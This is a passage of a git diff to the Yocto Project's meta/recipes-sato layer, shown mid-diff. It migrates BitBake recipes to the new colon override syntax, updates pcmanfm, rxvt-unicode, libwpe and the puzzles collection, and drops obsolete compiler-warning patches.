matchbox-keyboard \
@@ -43,10 +45,10 @@ WEB ?= ""
#WEB = "epiphany"
GSTEXAMPLES ?= "gst-examples"
-GSTEXAMPLES_riscv64 = ""
+GSTEXAMPLES:riscv64 = ""
-SUMMARY_${PN}-apps = "Sato desktop - applications"
-RDEPENDS_${PN}-apps = "\
+SUMMARY:${PN}-apps = "Sato desktop - applications"
+RDEPENDS:${PN}-apps = "\
l3afpad \
matchbox-terminal \
sato-screenshot \
@@ -55,7 +57,7 @@ RDEPENDS_${PN}-apps = "\
${WEB} \
"
-SUMMARY_${PN}-games = "Sato desktop - games"
-RDEPENDS_${PN}-games = "\
+SUMMARY:${PN}-games = "Sato desktop - games"
+RDEPENDS:${PN}-games = "\
puzzles \
"
diff --git a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb
deleted file mode 100644
index 7885e0abae..0000000000
--- a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.1.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Fast lightweight tabbed filemanager"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "GPLv2 & GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://src/pcmanfm.h;endline=22;md5=417b3855771a3a87f8ad753d994491f0 \
- file://src/gseal-gtk-compat.h;endline=21;md5=46922c8691f58d124f9420fe16149ce2"
-
-SECTION = "x11"
-DEPENDS = "gtk+3 startup-notification libfm intltool-native gettext-native glib-2.0-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/pcmanfm-${PV}.tar.xz \
- file://gnome-fs-directory.png \
- file://gnome-fs-regular.png \
- file://gnome-mime-text-plain.png \
- file://emblem-symbolic-link.png \
- file://no-desktop.patch"
-
-SRC_URI[md5sum] = "d32ad2c9c7c52bff2004bbc120b53420"
-SRC_URI[sha256sum] = "6804043b3ee3a703edde41c724946174b505fe958703eadbd7e0876ece836855"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/pcmanfm/files/PCManFM%20%2B%20Libfm%20%28tarball%20release%29/PCManFM/"
-
-inherit autotools pkgconfig features_check mime-xdg
-
-# The startup-notification requires x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11"
-
-EXTRA_OECONF = "--with-gtk=3"
-
-do_install_append () {
- install -d ${D}/${datadir}
- install -d ${D}/${datadir}/pixmaps/
-
- install -m 0644 ${WORKDIR}/*.png ${D}/${datadir}/pixmaps
-}
-
-FILES_${PN} += "${libdir}/pcmanfm"
-
-RRECOMMENDS_${PN} += "adwaita-icon-theme"
diff --git a/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb
new file mode 100644
index 0000000000..aa1ac77e16
--- /dev/null
+++ b/meta/recipes-sato/pcmanfm/pcmanfm_1.3.2.bb
@@ -0,0 +1,40 @@
+SUMMARY = "Fast lightweight tabbed filemanager"
+DESCRIPTION = "A free file manager application and the standard file manager of LXDE."
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "GPLv2 & GPLv2+ & LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://src/pcmanfm.h;endline=22;md5=417b3855771a3a87f8ad753d994491f0 \
+ file://src/gseal-gtk-compat.h;endline=21;md5=46922c8691f58d124f9420fe16149ce2"
+
+SECTION = "x11"
+DEPENDS = "gtk+3 startup-notification libfm intltool-native gettext-native glib-2.0-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/pcmanfm-${PV}.tar.xz \
+ file://gnome-fs-directory.png \
+ file://gnome-fs-regular.png \
+ file://gnome-mime-text-plain.png \
+ file://emblem-symbolic-link.png \
+ file://no-desktop.patch"
+
+SRC_URI[sha256sum] = "14cb7b247493c4cce65fbb5902611e3ad00a7a870fbc1e50adc50428c5140cf7"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/pcmanfm/files/PCManFM%20%2B%20Libfm%20%28tarball%20release%29/PCManFM/"
+
+inherit autotools pkgconfig features_check mime-xdg
+
+# The startup-notification requires x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11"
+
+EXTRA_OECONF = "--with-gtk=3"
+
+do_install:append () {
+ install -d ${D}/${datadir}
+ install -d ${D}/${datadir}/pixmaps/
+
+ install -m 0644 ${WORKDIR}/*.png ${D}/${datadir}/pixmaps
+}
+
+FILES:${PN} += "${libdir}/pcmanfm"
+
+RRECOMMENDS:${PN} += "adwaita-icon-theme"
diff --git a/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb b/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
index e27339fb46..ec187ed9bd 100644
--- a/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
+++ b/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
@@ -13,5 +13,5 @@ do_install() {
install -m 0644 ${S}/50-sato.conf ${D}${sysconfdir}/pulse/client.conf.d/50-sato.conf
}
-FILES_${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
-CONFFILES_${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
+FILES:${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
+CONFFILES:${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
diff --git a/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch b/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch
deleted file mode 100644
index d40a3b1ef9..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 337799e40350b3db2441cc98f65ec36a74dfb356 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 21 Apr 2017 12:18:08 -0700
-Subject: [PATCH] Use -Wno-error=format-overflow= if the compiler supports it
-
-we need this warning to be suppressed with gcc7+
-however older compilers dont support it so we need
-a way to disble it only if compiler supports it
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 3a38c95..bb9035e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -42,7 +42,7 @@ fi
- if test "x$GCC" = "xyes"; then
- AC_MSG_CHECKING([for usable gcc warning flags])
- gccwarningflags=
-- for flag in -Wall -Werror -std=c89 -pedantic; do
-+ for flag in -Wall -Werror -std=c89 -pedantic -Wno-error=format-overflow=; do
- ac_save_CFLAGS="$CFLAGS"
- ac_save_LIBS="$LIBS"
- CFLAGS="$CFLAGS$gccwarningflags $flag $GTK_CFLAGS"
---
-2.12.2
-
diff --git a/meta/recipes-sato/puzzles/files/0001-malloc-Check-for-excessive-values-to-malloc.patch b/meta/recipes-sato/puzzles/files/0001-malloc-Check-for-excessive-values-to-malloc.patch
deleted file mode 100644
index 66af6afa2f..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-malloc-Check-for-excessive-values-to-malloc.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 1c01a5bc9ac7f8aaa484b1a8e0e74aa5f8899d0e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 8 Nov 2020 11:17:59 -0800
-Subject: [PATCH] malloc: Check for excessive values to malloc
-
-with whole program optimizers like lto smalloc()
-is inlined the excessive constant argument is propagated to
-malloc() and ultimately triggers the warning.
-
-malloc.c:15:9: error: argument 1 range [18446744065119617024, 18446744073709551580] exceeds maximum object size 9223372036854775807 [-Werror=alloc-size-larger-than=]
-
-therefore add a check before excessive constant argument before calling
-malloc
-
-Note that this will not happen with normal compile since they happen to
-be in different translation units and compiler can not semantically
-analyze as much
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- malloc.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/malloc.c b/malloc.c
-index a7fa7c5..520377c 100644
---- a/malloc.c
-+++ b/malloc.c
-@@ -2,6 +2,7 @@
- * malloc.c: safe wrappers around malloc, realloc, free, strdup
- */
-
-+#include <stdint.h>
- #include <stdlib.h>
- #include <string.h>
- #include "puzzles.h"
-@@ -12,6 +13,8 @@
- */
- void *smalloc(size_t size) {
- void *p;
-+ if (size > PTRDIFF_MAX)
-+ fatal("exceeds maximum object size");
- p = malloc(size);
- if (!p)
- fatal("out of memory");
---
-2.29.2
-
diff --git a/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch b/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch
deleted file mode 100644
index 143e898a51..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 453587d714473b806473b309727f865b673cbc06 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 13 Jan 2016 23:10:19 -0800
-Subject: [PATCH] palisade: Fix warnings with clang on arm
-
-ARM treats 'char' as unsigned char when 'char' is not qualified with
-'signed' or 'unsigned' explicitly.
-
-This results in warnings e.g.
-
-palisade.c:531:22: error: comparison of constant -1 with expression of
-type 'clue' (aka 'char') is always false
-[-Werror,-Wtautological-constant-out-of-range-compare]
- if (clues[i] == EMPTY) continue;
-
-Therefore, typcast the contant to char in such places to be explicit
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Submitted
----
- palisade.c | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/palisade.c b/palisade.c
-index 6ffbf2d..8b54d42 100644
---- a/palisade.c
-+++ b/palisade.c
-@@ -304,11 +304,11 @@ static void solver_connected_clues_versus_region_size(solver_ctx *ctx)
- * If p = q = 3 then the region has size exactly 2. */
-
- for (i = 0; i < wh; ++i) {
-- if (ctx->clues[i] == EMPTY) continue;
-+ if (ctx->clues[i] == (char)EMPTY) continue;
- for (dir = 0; dir < 4; ++dir) {
- int j = i + dx[dir] + w*dy[dir];
- if (disconnected(ctx, i, j, dir)) continue;
-- if (ctx->clues[j] == EMPTY) continue;
-+ if (ctx->clues[j] == (char)EMPTY) continue;
- if ((8 - ctx->clues[i] - ctx->clues[j] > ctx->params->k) ||
- (ctx->clues[i] == 3 && ctx->clues[j] == 3 &&
- ctx->params->k != 2))
-@@ -326,7 +326,7 @@ static bool solver_number_exhausted(solver_ctx *ctx)
- bool changed = false;
-
- for (i = 0; i < wh; ++i) {
-- if (ctx->clues[i] == EMPTY) continue;
-+ if (ctx->clues[i] == (char)EMPTY) continue;
-
- if (bitcount[(ctx->borders[i] & BORDER_MASK)] == ctx->clues[i]) {
- for (dir = 0; dir < 4; ++dir) {
-@@ -538,7 +538,7 @@ static bool is_solved(const game_params *params, clue *clues,
- for (i = 0; i < wh; ++i) {
- if (dsf[i] == UNVISITED) dfs_dsf(i, params->w, border, dsf, true);
- if (dsf_size(dsf, i) != k) goto error;
-- if (clues[i] == EMPTY) continue;
-+ if (clues[i] == (char)EMPTY) continue;
- if (clues[i] != bitcount[border[i] & BORDER_MASK]) goto error;
- }
-
-@@ -685,7 +685,7 @@ static char *new_game_desc(const game_params *params, random_state *rs,
- p = numbers;
- r = 0;
- for (i = 0; i < wh; ++i) {
-- if (numbers[i] != EMPTY) {
-+ if (numbers[i] != (char)EMPTY) {
- while (r) {
- while (r > 26) {
- *p++ = 'z';
diff --git a/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch b/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch
deleted file mode 100644
index 7ca582fe5d..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 3af5a1e579e3324a13ba1f892c7befb3ab32d899 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Mar 2019 21:56:57 -0800
-Subject: [PATCH] pattern.c: Change string lenght parameter to be size_t in
- do_row()
-
-This fixes below error on some architectures e.g. RISC-V
-
-pattern.c:455:9: error: 'memset' specified size between 18446744071562067968 and 18446744073709551615 exceeds maximum object size 9223372036854775807 [-Werror=stringop-overflow=] 455 | memset(deduced, DOT, (size_t)len); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- pattern.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/pattern.c b/pattern.c
-index ffadd3f..4e5f187 100644
---- a/pattern.c
-+++ b/pattern.c
-@@ -428,7 +428,7 @@ static bool do_row(unsigned char *known, unsigned char *deduced,
- unsigned char *row,
- unsigned char *minpos_done, unsigned char *maxpos_done,
- unsigned char *minpos_ok, unsigned char *maxpos_ok,
-- unsigned char *start, int len, int step, int *data,
-+ unsigned char *start, size_t len, int step, int *data,
- unsigned int *changed
- #ifdef STANDALONE_SOLVER
- , const char *rowcol, int index, int cluewid
---
-2.17.1
-
diff --git a/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch b/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch
deleted file mode 100644
index 28040523d4..0000000000
--- a/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 876c6ff1e20f51b0921acda99861f476b6423f26 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 11 Aug 2014 12:39:53 +0800
-Subject: [PATCH] gtk.c: fix compiling failure with option -g -O
-
-There were compiling failure with option -g -O
-...
-././gtk.c: In function 'configure_area':
-././gtk.c:397:2: error: 'cr' may be used uninitialized in this function [-Werror=maybe-uninitialized]
- cairo_set_source_rgb(cr,
- ^
-././gtk.c:384:14: note: 'cr' was declared here
- cairo_t *cr;
- ^
-././gtk.c: In function 'main':
-././gtk.c:2911:6: error: 'error' may be used uninitialized in this function [-Werror=maybe-uninitialized]
- fprintf(stderr, "%s: %s\n", pname, error);
- ^
-cc1: all warnings being treated as errors
-...
-
-Initialized pointer 'cr' and 'error' with NULL
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- gtk.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gtk.c b/gtk.c
-index 4565836..5e83b48 100644
---- a/gtk.c
-+++ b/gtk.c
-@@ -2944,7 +2944,7 @@ static void list_presets_from_menu(struct preset_menu *menu)
- int main(int argc, char **argv)
- {
- char *pname = argv[0];
-- char *error;
-+ char *error = NULL;
- int ngenerate = 0, px = 1, py = 1;
- bool print = false;
- bool time_generation = false, test_solve = false, list_presets = false;
diff --git a/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch b/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch
deleted file mode 100644
index 7218d620ec..0000000000
--- a/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-puzzles: avoid compiler unitialized variable error
-
-The compiler does not realize that we must go through the while()
-loop at least once, so we replace it with a for() loop.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
---- a/tree234.c
-+++ b/tree234.c
-@@ -326,8 +326,11 @@ static void *add234_internal(tree234 *t,
- return orig_e;
- }
-
-- n = t->root;
-- while (n) {
-+ /*
-+ * We know t->root is not NULL. The logic
-+ * to break out of this is at the end of the loop.
-+ */
-+ for (n = t->root;;) {
- LOG((" node %p: %p/%d \"%s\" %p/%d \"%s\" %p/%d \"%s\" %p/%d\n",
- n,
- n->kids[0], n->counts[0], n->elems[0],
diff --git a/meta/recipes-sato/puzzles/puzzles_git.bb b/meta/recipes-sato/puzzles/puzzles_git.bb
index 8e4d5b3349..f2fe7d7b96 100644
--- a/meta/recipes-sato/puzzles/puzzles_git.bb
+++ b/meta/recipes-sato/puzzles/puzzles_git.bb
@@ -1,46 +1,26 @@
SUMMARY = "Simon Tatham's Portable Puzzle Collection"
+DESCRIPTION = "Collection of small computer programs which implement one-player puzzle games."
HOMEPAGE = "http://www.chiark.greenend.org.uk/~sgtatham/puzzles/"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=6099f4981f9461d7f411091e69a7f07a"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=6e7d24cf1c949887ee9447a1e2a4a24c"
-DEPENDS = "libxt"
-
-# The libxt requires x11 in DISTRO_FEATURES
+# gtk support includes a bunch of x11 headers
REQUIRED_DISTRO_FEATURES = "x11"
-SRC_URI = "git://git.tartarus.org/simon/puzzles.git \
- file://fix-compiling-failure-with-option-g-O.patch \
- file://0001-palisade-Fix-warnings-with-clang-on-arm.patch \
- file://0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch \
- file://0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch \
- file://fix-ki-uninitialized.patch \
- file://0001-malloc-Check-for-excessive-values-to-malloc.patch \
- "
+SRC_URI = "git://git.tartarus.org/simon/puzzles.git;branch=main"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "9aa7b7cdfb2bcd200f45941a58d6ae698882a2d4"
+SRCREV = "b56c994b721f7cb5c5bcf09c5d695d4ae07d3052"
PE = "2"
PV = "0.0+git${SRCPV}"
S = "${WORKDIR}/git"
-inherit autotools features_check pkgconfig
-
-PACKAGECONFIG ??= "gtk3"
-PACKAGECONFIG[gtk2] = "--with-gtk=2,,gtk+,"
-PACKAGECONFIG[gtk3] = "--with-gtk=3,,gtk+3,"
-
-CFLAGS_append = " -Wno-deprecated-declarations"
-
-ASNEEDED = ""
+inherit cmake features_check pkgconfig
-do_configure_prepend () {
- cd ${S}
- ./mkfiles.pl
- cd ${B}
-}
+DEPENDS += "gtk+3"
-do_install_append () {
+do_install:append () {
# net conflicts with Samba, so rename it
mv ${D}${bindir}/net ${D}${bindir}/puzzles-net
@@ -66,16 +46,3 @@ STOP
done
}
-PACKAGES += "${PN}-extra"
-
-FILES_${PN} = ""
-FILES_${PN}-extra = "${prefix}/bin ${datadir}/applications"
-
-python __anonymous () {
- var = d.expand("FILES_${PN}")
- data = d.getVar(var, False)
- for name in ("bridges", "fifteen", "inertia", "map", "samegame", "slant"):
- data = data + " ${bindir}/%s" % name
- data = data + " ${datadir}/applications/%s.desktop" % name
- d.setVar(var, data)
-}
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc b/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
index b064a63caa..e7d520ebef 100644
--- a/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
+++ b/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
@@ -5,7 +5,8 @@ terminal emulator rxvt, modified to store text in Unicode \
(either UCS-2 or UCS-4) and to use locale-correct input and \
output. It also supports mixing multiple fonts at the \
same time, including Xft fonts."
-DEPENDS = "virtual/libx11 libxt libxft gdk-pixbuf libxmu"
+HOMEPAGE = "https://rxvt.org/"
+DEPENDS = "virtual/libx11 libxt libxft gdk-pixbuf libxmu libptytty"
SRC_URI = "http://dist.schmorp.de/rxvt-unicode/Attic/rxvt-unicode-${PV}.tar.bz2 \
file://xwc.patch \
@@ -15,13 +16,12 @@ SRC_URI = "http://dist.schmorp.de/rxvt-unicode/Attic/rxvt-unicode-${PV}.tar.bz2
inherit autotools pkgconfig update-alternatives
PROVIDES = "virtual/x-terminal-emulator"
-ALTERNATIVE_${PN} = "x-terminal-emulator"
+ALTERNATIVE:${PN} = "x-terminal-emulator"
ALTERNATIVE_TARGET[x-terminal-emulator] = "${bindir}/rxvt"
-CFLAGS_append = " -fpermissive"
+CFLAGS:append = " -fpermissive"
EXTRA_OECONF = "--enable-xim \
- --enable-utmp --enable-wtmp --enable-lastlog \
--with-term=rxvt --enable-keepscrolling \
--enable-xft --with-name=rxvt --enable-frills \
--enable-swapscreen --enable-transparency \
@@ -30,25 +30,23 @@ EXTRA_OECONF = "--enable-xim \
--enable-combining --disable-perl \
--with-x=${STAGING_DIR_HOST}${prefix}"
-EXTRA_OECONF_append_libc-musl = " --disable-wtmp"
-
PACKAGECONFIG ??= ""
PACKAGECONFIG[startup] = "--enable-startup-notification,--disable-startup-notification,startup-notification,"
-do_configure_prepend () {
+do_configure:prepend () {
if [ ! -e ${S}/acinclude.m4 ]; then
cp ${S}/aclocal.m4 ${S}/acinclude.m4
fi
}
-do_compile_prepend () {
+do_compile:prepend () {
echo '#define UTMP_FILE "${localstatedir}/run/utmp"' >> config.h
echo '#define WTMP_FILE "${localstatedir}/log/wtmp"' >> config.h
echo '#define LASTLOG_FILE "${localstatedir}/log/lastlog"' >> config.h
echo '#define HAVE_XLOCALE 1' >> config.h
}
-do_install_append () {
+do_install:append () {
install -d ${D}/${datadir}
install -d ${D}/${datadir}/applications
install -d ${D}/${datadir}/pixmaps/
@@ -57,4 +55,4 @@ do_install_append () {
install -m 0644 ${WORKDIR}/rxvt.desktop ${D}/${datadir}/applications
}
-FILES_${PN} += "${datadir}/applications/rxvt.desktop ${datadir}/pixmaps/rxvt.png"
+FILES:${PN} += "${datadir}/applications/rxvt.desktop ${datadir}/pixmaps/rxvt.png"
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb
deleted file mode 100644
index bfa8a614df..0000000000
--- a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require rxvt-unicode.inc
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://src/main.C;beginline=1;endline=31;md5=d3600d7ee1062667fcd1193fbe6485f6"
-
-SRC_URI[md5sum] = "93782dec27494eb079467dacf6e48185"
-SRC_URI[sha256sum] = "e94628e9bcfa0adb1115d83649f898d6edb4baced44f5d5b769c2eeb8b95addd"
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb
new file mode 100644
index 0000000000..0133029e0a
--- /dev/null
+++ b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.30.bb
@@ -0,0 +1,8 @@
+require rxvt-unicode.inc
+
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://src/main.C;beginline=1;endline=31;md5=d3600d7ee1062667fcd1193fbe6485f6"
+
+SRC_URI[sha256sum] = "fe1c93d12f385876457a989fc3ae05c0915d2692efc59289d0f70fabe5b44d2d"
+
diff --git a/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb b/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
index 2b1f513f1c..7fd9272bf4 100644
--- a/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
+++ b/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
@@ -11,16 +11,16 @@ DEPENDS = "matchbox-panel-2 gtk+3"
# SRCREV tagged 0.3
SRCREV = "9250fa5a012d84ff45984e8c4345ee7635227756"
-SRC_URI = "git://git.yoctoproject.org/screenshot"
+SRC_URI = "git://git.yoctoproject.org/screenshot;branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
inherit autotools pkgconfig features_check
-FILES_${PN} += "${libdir}/matchbox-panel/*.so"
+FILES:${PN} += "${libdir}/matchbox-panel/*.so"
-do_install_append () {
+do_install:append () {
rm -f ${D}${libdir}/matchbox-panel/*.la
}
diff --git a/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb b/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
index d01177f9b9..77ecd3fe9f 100644
--- a/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
+++ b/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
@@ -9,7 +9,7 @@ SECTION = "x11"
# SRCREV tagged 0.0.2
SRCREV = "b2e5da502f8c5ff75e9e6da771372ef8e40fd9a2"
-SRC_URI = "git://git.yoctoproject.org/xsettings-daemon \
+SRC_URI = "git://git.yoctoproject.org/xsettings-daemon;branch=master \
file://addsoundkeys.patch \
file://70settings-daemon.sh \
"
@@ -19,12 +19,12 @@ S = "${WORKDIR}/git"
inherit autotools pkgconfig gconf features_check
-FILES_${PN} = "${bindir}/* ${sysconfdir}"
+FILES:${PN} = "${bindir}/* ${sysconfdir}"
# Requires gdk-x11-2.0 which is provided by gtk when x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
-do_install_append () {
+do_install:append () {
install -d ${D}/${sysconfdir}/X11/Xsession.d
install -m 755 ${WORKDIR}/70settings-daemon.sh ${D}/${sysconfdir}/X11/Xsession.d/
}
diff --git a/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb b/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
index 28d5096023..4bb896fc7b 100644
--- a/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
+++ b/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
@@ -15,7 +15,7 @@ do_install() {
sed -i ${D}${datadir}/applications/shutdown.desktop -e 's#^Exec=\(.*\)#Exec=${base_sbindir}/\1#'
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q qemuarm $D${sysconfdir}/hostname && \
sed -i $D${datadir}/applications/shutdown.desktop -e 's#^Exec=\(.*\)/halt#Exec=\1/reboot#' \
|| true
diff --git a/meta/recipes-sato/webkit/libwpe_1.12.0.bb b/meta/recipes-sato/webkit/libwpe_1.12.0.bb
new file mode 100644
index 0000000000..ac4ee3eb23
--- /dev/null
+++ b/meta/recipes-sato/webkit/libwpe_1.12.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "General-purpose library specifically developed for the WPE-flavored port of WebKit."
+HOMEPAGE = "https://github.com/WebPlatformForEmbedded/libwpe"
+BUGTRACKER = "https://github.com/WebPlatformForEmbedded/libwpe/issues"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=371a616eb4903c6cb79e9893a5f615cc"
+DEPENDS = "virtual/egl libxkbcommon"
+
+inherit cmake features_check pkgconfig
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "e8eeca228a6b4c36294cfb63f7d3ba9ada47a430904a5a973b3c99c96a44c18c"
+
+# This is a tweak of upstream-version-is-even needed because
+# ipstream directory contains tarballs for other components as well.
+UPSTREAM_CHECK_REGEX = "libwpe-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)\.tar"
diff --git a/meta/recipes-sato/webkit/libwpe_1.8.0.bb b/meta/recipes-sato/webkit/libwpe_1.8.0.bb
deleted file mode 100644
index a81e6960b2..0000000000
--- a/meta/recipes-sato/webkit/libwpe_1.8.0.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "General-purpose library specifically developed for the WPE-flavored port of WebKit."
-HOMEPAGE = "https://github.com/WebPlatformForEmbedded/libwpe"
-BUGTRACKER = "https://github.com/WebPlatformForEmbedded/libwpe/issues"
-
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=371a616eb4903c6cb79e9893a5f615cc"
-DEPENDS = "virtual/egl libxkbcommon"
-
-# Workaround build issue with RPi userland EGL libraries.
-CFLAGS_append_rpi = " ${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', '-D_GNU_SOURCE', d)}"
-
-inherit cmake features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "a6f00a7d091cbd4db57fe7ee3b4c12c6350921d654ed79812800a26c888481d2"
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch b/meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch
index ca7b1bca48..a65cfc8b5a 100644
--- a/meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch
+++ b/meta/recipes-sato/webkit/webkitgtk/0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch
@@ -1,4 +1,4 @@
-From b145ab4273c59f4f908cdaff9e267241bd970e93 Mon Sep 17 00:00:00 2001
+From b055bd199f9c40148334725a227796c0d7d14788 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 3 Feb 2020 17:06:27 -0800
Subject: [PATCH] Enable THREADS_PREFER_PTHREAD_FLAG
@@ -20,19 +20,19 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
